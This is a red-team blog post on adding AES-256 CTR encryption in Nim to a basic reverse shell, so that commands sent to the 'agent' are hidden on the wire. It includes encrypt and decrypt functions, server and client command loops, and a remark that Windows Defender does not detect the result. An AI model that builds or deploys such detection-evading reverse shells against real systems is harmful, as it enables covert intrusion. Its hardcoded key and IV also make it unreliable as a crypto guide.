Nim Encryption & Decryption

1. Overview

For any responsible red teamer, encryption needs to be apart of your workflow. Whether it is encrypting a session with potentially sensitive information going across the wire or encrypting your shellcode, encryption is constantly used on assessments.

And what better way to learn about the encrypting libraries of a programming language than to read the docs and incorporate into our basic reverse shell. Which is what we are doing today.

  • encrypting the commands we send to our reverse shell
  • decrypting the commands on the reverse shell
  • encrypting the output results from the reverse shell before sending
  • decrypting the results on the server before displaying

2. Nimcrypto Library

Using the Nimcrypto Library, I went with using a string instead of bytes since was a bit easier for me to understand initially. First, created the aesCrypto.nim file that included the encryptStr and decryptStr functions that my other programs can pull from, helping keep things clean and segmented. This functions then follow what was outlined in the Nimcrypto repos.

proc encryptStr*(data2encr, enckey, uniqueiv: string): string = 
  var
    ectx: CTR[aes256]
    key = newString(aes256.sizeKey)
    iv = newString(aes256.sizeBlock)
    plainText = newString(len(data2encr))
    encText = newString(len(data2encr))

  copyMem(addr plainText[0], unsafeaddr data2encr[0], len(data2encr))
  copyMem(addr key[0], unsafeaddr enckey[0], len(enckey))
  copyMem(addr iv[0], unsafeaddr uniqueiv[0], len(uniqueiv))

  ectx.init(key, iv)
  ectx.encrypt(plainText, encText)
  ectx.clear

  echo "ENCRYPTED TEXT: ", encText
  result = encText

proc decryptStr*(data2decr, enckey, uniqueiv: string): string = 
  var
    dctx: CTR[aes256]
    key = newString(aes256.sizeKey)
    iv = newString(aes256.sizeBlock)
    plainText = newString(len(data2decr))
    encText = newString(len(data2decr))


  copyMem(unsafeaddr encText[0], unsafeaddr data2decr[0], len(data2decr))
  copyMem(unsafeaddr key[0], unsafeaddr enckey[0], len(enckey))
  copyMem(unsafeaddr iv[0], unsafeaddr uniqueiv[0], len(uniqueiv))

  dctx.init(key, iv)
  dctx.decrypt(encText, plainText)
  dctx.clear

  echo "DECRYPTED TEXT: ", plainText
  result = plainText

Once there were linked to the server.nim and only for testing purposes, hardcoded my passkey and passIV. I'm not sure yet how I would handle a symmetric password with a server/client model but considering pki. Then using the functions defined above put these are either side of the sending and receive commands. Again on the OpSec side of things, I'd like to dig more into terminal histories and if this get logged from a console app.

while true:
  stdout.write("> ")
  let command: string = stdin.readLine()

  let encCommand = encryptStr(command, passedKey, passedIV)


  client.send(encCommand & "\n")
  let response: string = client.recvLine()
  echo "Server: Agent's Response: ", response

Note the server doesn't currently decrypt on the response (because I'm not encrypting the response when sending from the client). This is fine for testing but will need to change in any sore of production reverse shell.

On the client side to decrypt the command.

while true:
  let encCommand: string = client.recvLine()

  let command = decryptStr(encCommand, passedKey, passedIV)

  if command == "":
      break

  stdout.writeLine("Agent: received command: ", command)

Overall this was a fun exercise in trying to secure the reverse shell a bit more. Also, windows defender doesn't detect this as malicious.

3. Resources

Date: 2022-12-09

Author: Russell Brinson